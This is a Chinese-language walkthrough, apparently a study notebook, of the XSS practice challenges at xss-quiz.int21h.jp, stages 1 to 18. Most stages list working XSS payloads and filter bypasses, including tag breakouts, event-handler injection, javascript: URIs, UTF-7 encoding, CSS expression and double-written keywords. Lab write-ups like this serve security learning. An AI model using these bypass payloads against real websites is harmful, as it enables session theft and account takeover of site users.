实验网址:xss-quiz.int21h.jp/
stage1
输入1测试发现内容闭合在< b >< /b >中,因此可直接构造出playload
<script>alert(document.domain)</script>
stage2
输入hahah测试发现输入内容在value中,因此通过闭合input标签,构造playload
"><script>alert(document.domain)</script><"
stage3
直接输入测试代码发现输入内容同第一关也显示< b >< /b > 内。但并未执行。猜测输入框未定义value属性,可能只是当做文本输入。发现参数p2,但无法修改成特定内容,通过抓包,修改p2的值即可。
stage 4
查看原码同上一关差不多,直接抓包,发现多了个参数p3,测试发现p1,p2均无法xss注入。对参数p3进行闭合构造出playload
"<script>alert(document.domain)</script><"
stage 5
发现有长度现在,直接更改maxlength的值即可,
playload:
"><script>alert(document.domain)</script><"
stage 6
输入测试代码发现< >被过滤成html实体。双引号则没有被过滤。因此可通过js事件构造playload
" onm ouseover="alert(document.domain)
鼠标方式输入框可出发该事件。注意直接复制过去的playload是不可以的!!
stage 7
测试发现输入框中的内容全显示在value内,因此推测过滤了< > 和 ",多次试验发现语句中的双引号出现的地方会再次出现双引号。因为空格也可以分隔属性,因此可将双引号去掉加上空格构造出playload
11 onm ouseover=alert(document.domain)
stage 8
测试发现可把输入框中的内容转化为连接,因此构造出playload
javascript:alert(document.domain)
stage 9
测试发现这一关卡同第七关将尖括号和双引号过滤。可是第七关的playload在这一关不能用了,另找它法,注意到下边有个隐藏的input标签。将它显示出来输入代码也无法弹窗。百度得知euc-jp是日文编码
看了别人的wp:
.用可以识别UTF-7的IE浏览器,抓包。把抓包内容改成p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7。本人能力不足,先跳过直接附上下一个的网址:http://xss-quiz.int21h.jp/stage00010.php?sid=ebbdd5208bce92c3c26c5da4e79c3a0086f16d5e
stage10
测试发现domain被过滤了,,,,尝试一下双写。得到结果
"><script>alert(document.dodomainmain)</script><"
stage11
不知道为啥我的第11关无法访问
第十一关:
http://xss-quiz.int21h.jp/stage11th.php?sid=2ea843cedd78f5b9dfd684cc00be42481f72449c
stage 12
测试发现< >和"被过滤替换了。看了大佬的wp:
ie浏览器会把 ` `(笔记本1左边那颗键两次)识别为双引号,从而让我们的内容逃出来(<>没法逃就设置属性),构造payload。不过这也是区别于浏览器的
这一关我就直接跳过了。第十三关:
http://xss-quiz.int21h.jp/stage13_0.php?sid=00696ab8c69d8a146bc35d5e65b6a7c270eaf1f0
stage 13-14
第十四关:
http://xss-quiz.int21h.jp/stage-_-14.php?sid=7188bd9374f7397e0a67044cfcf721c6be036b83
13关测试发现转义了< >和"。14关测试发现过滤了script和expression网上给出的playload。但是都是在老版本下的浏览器中可执行。
13:background-color:#f00;background:url("javascript:alert(document.domain);");
14:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
stage15-16
第十五关:
http://xss-quiz.int21h.jp/stage__15.php?sid=26ac2a0522c04a788c217fd8d7847aab1626f726
发现转义<>,",也转义了&,过滤了\不能构造html实体,和unicode编码。尝试输入两个\,发现只过滤了一个!不知道为什么16关我也打不开
15:\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
stage17-18
第十七关:
http://xss-quiz.int21h.jp/stage-No17.php?sid=86908f4e2c28923d9280baebd67f4d9f009b5fa5
第十八关:
http://xss-quiz.int21h.jp/stage__No18.php?sid=e9cd87a31a1b373f6283b698f3762758db319f2b